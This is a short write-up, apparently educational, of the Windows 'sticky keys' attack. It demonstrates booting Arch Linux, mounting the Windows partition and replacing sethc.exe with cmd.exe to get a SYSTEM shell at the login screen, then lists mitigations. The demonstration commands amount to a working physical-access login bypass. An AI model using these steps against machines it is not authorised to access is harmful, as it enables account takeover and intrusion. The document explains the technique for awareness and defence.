Windows ’sticky keys’ exploit
Oskar Lahesoo

1 Nature of exploit

Windows 95 and later have an accessibility feature called "sticky keys". That feature enables making ctrl, windows and alt keys "stick", allowing combinations to be entered one key at a time rather than pressing all at the same time. The keyboard shortcut for activating this is pressing shift five times.

The exploit is performed by accessing System32 folder from an unusual location, such as system repair disk or a linux distribution, and replacing the program executable sethc.exe in the with a copy of cmd.exe. After rebooting Windows and arriving to the login screen, pressing shift five times will open a command prompt with system privileges. From there the exploiter can change account passwords or create their own account with administrator privileges.

2 Demonstration

This demonstration uses Windows 10 as the vulnerable system and Arch Linux bootable USB for accessing System32 folder.

1. Boot into Arch Linux, find the Windows file system

   > fdisk -l

   Disk /dev/sda: 3.8 GiB, 4026531840 bytes, 7864320 sectors
   Units: sectors of 1 * 512 = 512 bytes
   Sector size (logical/physical): 512 bytes / 512 bytes
   I/O size (minimum/optimal): 512 bytes / 512 bytes
   Disklabel type: dos
   Disk identifier: 0x00029ba9

   /dev/sda1 * 2048 7864319 7862272 3.8G c W95 FAT32 (LBA)

   Disk /dev/sdb: 238.5 GiB, 256060514304 bytes, 500118192 sectors
   Units: sectors of 1 * 512 = 512 bytes
   Sector size (logical/physical): 512 bytes / 4096 bytes
   I/O size (minimum/optimal): 4096 bytes / 4096 bytes
   Disklabel type: dos
   Disk identifier: 0x4bc5b1b5

   /dev/sdb1 * 2048 1026047 1024000 500M 7 HPFS/NTFS/exFAT
   /dev/sdb2 1026048 500115455 499089408 238G 7 HPFS/NTFS/exFAT

   In the current example it is \dev\sdb2
2. Mount it and access System32 folder

   > mount /dev/sdb2 /mnt
   > cd /mnt/Windows/System32

3. Replace `sethc.exe` with `cmd.exe`

   > cp sethc.exe sethc_1.exe
   > cp cmd.exe sethc.exe

4. Reboot Windows and press shift five times

3 Solutions

This exploit is not highly dangerous because, while easy to perform, it requires physical access to the exploited machine (and if physical access is available there exist faster ways to gain access to the system). Systems can be further secured in a few ways:

1. Encrypt the hard drive. This will prevent modifying of the System32 folder.

2. Use BIOS to forbid booting from external drives, setting a BIOS password if necessary. This will make it more difficult to access System32 folder from unexpected locations, but will not block them all.